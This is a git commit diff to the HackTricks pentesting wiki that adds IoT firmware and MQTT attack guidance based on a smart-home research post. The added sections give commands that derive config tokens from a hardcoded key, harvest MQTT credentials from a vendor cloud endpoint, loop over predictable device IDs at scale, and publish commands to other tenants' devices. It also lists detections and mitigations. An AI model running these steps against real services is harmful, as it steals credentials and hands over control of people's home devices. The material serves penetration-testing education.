mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: How a $20 Smart Device Gave Me Access to Your Home
This commit is contained in:
parent
3b40ab6ab7
commit
a1132b5c22
@ -185,7 +185,86 @@ Several tools assist in uncovering sensitive information and vulnerabilities wit
|
|||||||
|
|
||||||
Both source code and compiled binaries found in the filesystem must be scrutinized for vulnerabilities. Tools like **checksec.sh** for Unix binaries and **PESecurity** for Windows binaries help identify unprotected binaries that could be exploited.
|
Both source code and compiled binaries found in the filesystem must be scrutinized for vulnerabilities. Tools like **checksec.sh** for Unix binaries and **PESecurity** for Windows binaries help identify unprotected binaries that could be exploited.
|
||||||
|
|
||||||
## Emulating Firmware for Dynamic Analysis
|
## Harvesting cloud config and MQTT credentials via derived URL tokens
|
||||||
|
|
||||||
|
Many IoT hubs fetch their per-device configuration from a cloud endpoint that looks like:
|
||||||
|
|
||||||
|
- [https://<api-host>/pf/<deviceId>/<token>](https://<api-host>/pf/<deviceId>/<token>)
|
||||||
|
|
||||||
|
During firmware analysis you may find that <token> is derived locally from the device ID using a hardcoded secret, for example:
|
||||||
|
|
||||||
|
- token = MD5( deviceId || STATIC_KEY ) and represented as uppercase hex
|
||||||
|
|
||||||
|
This design enables anyone who learns a deviceId and the STATIC_KEY to reconstruct the URL and pull cloud config, often revealing plaintext MQTT credentials and topic prefixes.
|
||||||
|
|
||||||
|
Practical workflow:
|
||||||
|
|
||||||
|
1) Extract deviceId from UART boot logs
|
||||||
|
|
||||||
|
- Connect a 3.3V UART adapter (TX/RX/GND) and capture logs:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
picocom -b 115200 /dev/ttyUSB0
|
||||||
|
```
|
||||||
|
|
||||||
|
- Look for lines printing the cloud config URL pattern and broker address, for example:
|
||||||
|
|
||||||
|
```
|
||||||
|
Online Config URL https://api.vendor.tld/pf/<deviceId>/<token>
|
||||||
|
MQTT: mqtt://mq-gw.vendor.tld:8001
|
||||||
|
```
|
||||||
|
|
||||||
|
2) Recover STATIC_KEY and token algorithm from firmware
|
||||||
|
|
||||||
|
- Load binaries into Ghidra/radare2 and search for the config path ("/pf/") or MD5 usage.
|
||||||
|
- Confirm the algorithm (e.g., MD5(deviceId||STATIC_KEY)).
|
||||||
|
- Derive the token in Bash and uppercase the digest:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
DEVICE_ID="d88b00112233"
|
||||||
|
STATIC_KEY="cf50deadbeefcafebabe"
|
||||||
|
printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}'
|
||||||
|
```
|
||||||
|
|
||||||
|
3) Harvest cloud config and MQTT credentials
|
||||||
|
|
||||||
|
- Compose the URL and pull JSON with curl; parse with jq to extract secrets:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
API_HOST="https://api.vendor.tld"
|
||||||
|
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
|
||||||
|
curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq .
|
||||||
|
# Fields often include: mqtt host/port, clientId, username, password, topic prefix (tpkfix)
|
||||||
|
```
|
||||||
|
|
||||||
|
4) Abuse plaintext MQTT and weak topic ACLs (if present)
|
||||||
|
|
||||||
|
- Use recovered credentials to subscribe to maintenance topics and look for sensitive events:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
|
||||||
|
-i <client_id> -u <username> -P <password> \
|
||||||
|
-t "<topic_prefix>/<deviceId>/admin" -v
|
||||||
|
```
|
||||||
|
|
||||||
|
5) Enumerate predictable device IDs (at scale, with authorization)
|
||||||
|
|
||||||
|
- Many ecosystems embed vendor OUI/product/type bytes followed by a sequential suffix.
|
||||||
|
- You can iterate candidate IDs, derive tokens and fetch configs programmatically:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
API_HOST="https://api.vendor.tld"; STATIC_KEY="cf50deadbeef"; PREFIX="d88b1603" # OUI+type
|
||||||
|
for SUF in $(seq -w 000000 0000FF); do
|
||||||
|
DEVICE_ID="${PREFIX}${SUF}"
|
||||||
|
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
|
||||||
|
curl -fsS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq -r '.mqtt.username,.mqtt.password' | sed "/null/d" && echo "$DEVICE_ID"
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes
|
||||||
|
- Always obtain explicit authorization before attempting mass enumeration.
|
||||||
|
- Prefer emulation or static analysis to recover secrets without modifying target hardware when possible.
|
||||||
|
|
||||||
|
|
||||||
The process of emulating firmware enables **dynamic analysis** either of a device's operation or an individual program. This approach can encounter challenges with hardware or architecture dependencies, but transferring the root filesystem or specific binaries to a device with matching architecture and endianness, such as a Raspberry Pi, or to a pre-built virtual machine, can facilitate further testing.
|
The process of emulating firmware enables **dynamic analysis** either of a device's operation or an individual program. This approach can encounter challenges with hardware or architecture dependencies, but transferring the root filesystem or specific binaries to a device with matching architecture and endianness, such as a Raspberry Pi, or to a pre-built virtual machine, can facilitate further testing.
|
||||||
|
|
||||||
@ -308,6 +387,9 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
|
|||||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||||
|
|
||||||
|
|
||||||
|
- [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
|
||||||
|
|
||||||
## Trainning and Cert
|
## Trainning and Cert
|
||||||
|
|
||||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||||
|
@ -116,11 +116,59 @@ Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header
|
|||||||
- DISCONNECT (14): Initiated by the client to terminate the connection.
|
- DISCONNECT (14): Initiated by the client to terminate the connection.
|
||||||
- Two values, 0 and 15, are marked as reserved and their use is forbidden.
|
- Two values, 0 and 15, are marked as reserved and their use is forbidden.
|
||||||
|
|
||||||
|
## IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
|
||||||
|
|
||||||
|
Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:
|
||||||
|
- Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud.
|
||||||
|
- Mobile apps or web backends that control devices via “app” topics.
|
||||||
|
|
||||||
|
Common weaknesses you can abuse during a pentest:
|
||||||
|
|
||||||
|
- Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports.
|
||||||
|
- Weak or missing per-tenant topic ACLs. If topics are namespaced only by deviceId (e.g., "/tenantless/<deviceId>/tx"), any authenticated user might PUBLISH to other tenants’ devices.
|
||||||
|
- Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).
|
||||||
|
|
||||||
|
Examples (replace placeholders with real values):
|
||||||
|
|
||||||
|
Subscribe to potentially sensitive topics with known topic prefixes and device IDs:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Using mosquitto_sub
|
||||||
|
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
|
||||||
|
-i <client_id> -u <username> -P <password> \
|
||||||
|
-t "<topic_prefix>/<deviceId>/admin" -v
|
||||||
|
```
|
||||||
|
|
||||||
|
Cross-tenant control when ACLs are weak (publish to another tenant’s device topic):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
|
||||||
|
-i <your_client_id> -u <your_username> -P <your_password> \
|
||||||
|
-t "/ys/<victimDeviceId>/tx" \
|
||||||
|
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
- The exact topic layout varies by vendor (common patterns: "<topic_prefix>/<deviceId>/<...>" for hubs and "/ys/<deviceId>/tx" for app control). Enumerate with wildcards first and observe responses.
|
||||||
|
- If brokers are plaintext, capture app sessions to recover short-lived MQTT credentials and tenant identifiers.
|
||||||
|
|
||||||
|
Detection and indicators:
|
||||||
|
- Plaintext outbound MQTT to Internet hosts on ports 1883/8883 and non-standard ports (e.g., 8001). Look for MQTT in packet captures.
|
||||||
|
- Broker logs showing PUBLISH to <deviceId> topics from unexpected client IDs or tenant IDs.
|
||||||
|
- Subscriptions to admin/maintenance topics from unassociated accounts.
|
||||||
|
|
||||||
|
Mitigations (for findings report):
|
||||||
|
- Enforce strict per-tenant topic ACLs based on authenticated identity.
|
||||||
|
- Migrate to MQTTS with mutual TLS and prohibit plaintext brokers.
|
||||||
|
- Avoid publishing sensitive secrets over MQTT; encrypt at the application layer if necessary.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
- `port:1883 MQTT`
|
- `port:1883 MQTT`
|
||||||
|
- MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **How can I cite a page of HackTricks?**
|
> - **How can I a page of HackTricks?**
|
||||||
|
|
||||||
As long as the link **of** the page(s) where you took the information from appears it's enough.\
|
As long as the link **of** the page(s) where you took the information from appears it's enough.\
|
||||||
If you need a bibtex you can use something like:
|
If you need a bibtex you can use something like:
|
||||||
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user